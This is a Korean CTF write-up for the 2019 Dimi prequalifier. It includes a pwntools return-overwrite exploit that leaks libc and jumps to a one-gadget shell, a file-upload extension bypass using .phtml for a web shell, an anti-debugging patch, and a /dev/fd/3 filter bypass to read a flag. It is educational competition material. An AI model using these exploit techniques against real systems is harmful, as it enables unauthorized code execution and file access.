2019 Dimi CTF Prequal Writeup

한국디지털미디어고등학교에서 주최하는 CTF에 참여했다.

시험 하루전에 참여한 CTF인데 그래서 한 두시간밖에 참여하지 못해서 9등으로 마무리했다 :)

Pwanble

ropasaurusrex2

Full RELRO, NX, PIE가 걸려있는 바이너리다.

[*] '/vagrant/ctfs/ropasaurusrex2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

메인을 보면 buf가 rbp-0x30 위치에 있는데 64만큼 입력받으면 리턴까지밖에 덮지 못한다. 근데 입력받은만큼 buf를 write해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  char buf; // [rsp+0h] [rbp-30h]

  init();
  read(0, &buf, 64uLL);
  v3 = strlen(&buf);
  write(1, &buf, v3);
  return 0;
}

main에서 ret을 보면 __libc_start_main + 240 의 주소가 저장되는데 이를 이용해서 1byte overwrite해서 __libc_start_main + 233 main을 call하는 곳으로 ret해주면 된다.

그러면 __libc_start_main + 233 주소가 leak될 것이고 다시 메인으로 돌아오니까 리턴을 oneshot으로 덮어주면 된다.

rsp+0x18에는 메인주소가 담겨져있고 주소로 +238에서 call해준다.

exploit.py

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
e = ELF('./ropasaurusrex2')
p = process('./ropasaurusrex2')
libc = e.libc

payload = 'A'*0x30
payload += 'realsung'
payload += '\x29'

p.send(payload)

libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - (libc.symbols['__libc_start_main'] + 233)
log.info('libc_base : ' + hex(libc_base))

payload2 = 'A'*(0x30)
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)

p.send(payload2)

p.interactive()


Webhacking

5shared - 43 solver

$extension = explode('.', $file['name'])[1];
if (!in_array($extension, Array("jpg", "gif", "png")))
{
$message = "<script>alert('jpg, gif, png 확장자만 업로드할 수 있습니다.'); history.back(); </script>";
    die($message);
}

이런식으로 explode를 사용하면 test.jpg.html 이런식으로 파일을 올릴 수도 있다. 그런데 php는 막아놨다.

phtml이나 pht로 파일을 업로드할 수 있다.

플래그는 http://ctf.dimigo.hs.kr:8961/flaglfalllgllflflagflalglgllfllflflfaglflag 여기에 있다.

FLAG : DIMI{expl0d3_pht_g3t_sh3lL_:p}

simple xss

stored xss 문제

Reversing

ezthread - 7 solver

이 문제는 Anti-debugging 기법이 적용되어있다.

while ( !IsDebuggerPresent() )
    ;
exit(1);

안티디버깅이 이런식으로 되어있는데 바이너리 패치해서 우회할 수 있다. je를 jmp로 바꾸어 exit으로 가지 않게 하면 된다.

table=[102, 124, 124, 107, 78, 117, 17, 87, 100, 69, 114, 2, 80, 106, 65, 80, 6, 66, 103, 91, 6, 125, 4, 66, 125, 99, 2, 112, 76, 110, 103, 1, 98, 91, 106, 6, 18, 106, 115, 91, 69, 5, 113, 0, 76 ]
flag=[0]*45
key1=34
key2=53
key3=49
for i in range(len(table)):
	if(i%3==0):
		flag[i] = table[i] ^ key1
	elif(i%3==1):
		flag[i] = table[i] ^ key2
	elif(i%3==2):
		flag[i] = table[i] ^ key3

answer=""
for i in range(len(flag)):
	answer+=chr(flag[i])
print answer

FLAG : DIMI{D3bUgG3r_pr3sEn7_1s_V3Ry_E4Sy_70_Byp4S5}

keychecker - 17 solver

메인 함수를 보면 encode해주고 decode 해주는 함수가 있다.

./keychecker encode ~~~~ 이런식으로 써주면 argv[2]에 오는 문자가 인코딩 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( argc != 3 )
  {
    printf("%s [mod] [text]\n", *argv, envp);
    exit(1);
  }
  if ( !strcmp(argv[1], "encode") )
  {
    encode(argv[2]);
  }
  else if ( !strcmp(argv[1], "decode") )
  {
    decode(argv[2]);
  }
  return 0;
}

encode 함수를 확인해보면 아래와 같다. decode 함수는 그냥 Your turn이라고 출력해주는 코드밖에 없다.

encode 함수는 문자를 0x23(35)랑 xor해서 2진수로 바꿔주는 코드이다. 이를 이용해서 역으로 짤 수 있다.

__int64 __fastcall encode(const char *a1)
{
  signed int j; // [rsp+Ch] [rbp-24h]
  int i; // [rsp+10h] [rbp-20h]
  int v4; // [rsp+14h] [rbp-1Ch]
  _BYTE *v5; // [rsp+18h] [rbp-18h]
  int v6; // [rsp+24h] [rbp-Ch]

  v6 = strlen(a1);
  v5 = malloc(9 * v6);
  for ( i = 0; i < v6; ++i )
  {
    a1[i] ^= 0x23u;
    v4 = a1[i];
    for ( j = 0; j < 8; ++j )
    {
      v5[8 * i + j] = v4 % 2 + 48;
      v4 /= 2;
    }
  }
  printf("%s\n", v5);
  return 0LL;
}

2진수가 주어져있어서 encode 함수를 이용해서 풀 수 있었다.

table = '1110011001010110011101100101011000011010100001100100100010110010001111101110101011001000001111100110100011101010100011100100100010110110001000100011111011100010010010001011001000100110001111101110011011001000101100100010001001111010'
table = table[::-1]
flag = ''

print ''.join(chr(int(table[i:i+8],2)^0x23) for i in range(0,len(table),8))[::-1]

FLAG : DIMI{B1n_t0_5tR1Ng_d1nG_D0ng}

gorev - 23 solver

bytes=[0x44,0x49,0x4d,0x7b,0x47,0x6f,0x5f,0x47,0x30,0x5f,0x47,0x4f,0x5f,0x67,0x6f,0x5f,0x67,0x30,0x5f,0x67,0x4f,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x69,0x6e,0x67,0x21,0x70]
flag=""
for i in range(len(bytes)):
	flag+=chr(bytes[i]^0x14^0x14)
print flag

이 코드대로 실행하면 DIM{Go_G0_GO_go_g0_gO_r3versing!p 이렇게 나오는데 조금만 수정해주고 제출하였다.

FLAG : DIMI{Go_G0_GO_go_g0_gO_r3versing!}

Misc

Mic Check - 119 solver

FLAG : DIMI{A-A-A-A---Mic-Check!}

dimi-contract - 28 solver

음수 체크를 안해서 그냥 계속 돈을 늘릴 수 있다.

FLAG : DIMI{m1nu5_b4nk_cUrR:p7}

reader - 10 solver

nc (nc ctf.dimigo.hs.kr 1312)와 python 파일이 주어졌다.

import sys

def send(data, end='\n'):
    sys.stdout.write(data + end)
    sys.stdout.flush()

def read():
    return raw_input()

def filtering(filename):
    filter = ['flag', 'proc', 'self', 'etc', 'tmp', 'home', '~', '.', '*', '?', '\\', 'x']
    for i in filter:
        if i in filename:
            send("Filtered!")
            sys.exit(-1)


if __name__ == '__main__':
    flag = open('flag', 'r')
    send("You can't read flag")
    send("But you can read file without filter XD")
    send("Filename :> ", end='')
    filename = read()
    filtering(filename)
    try:
        f = open(filename, 'r')
        send(f.read())
    except:
        send("No such file")

0,1,2을 제외하고 다른 파일을 반복해서 열고 닫으면 fd로 3을 반복해서 얻게 된다고 한다.

payload = /dev/fd/3

$ nc ctf.dimigo.hs.kr 1312
You can't read flag
But you can read file without filter XD
Filename :> /dev/fd/3
DIMI{d3v_fd_3_plz_Cl0s3_F:D!}

FLAG : DIMI{d3v_fd_3_plz_Cl0s3_F:D!}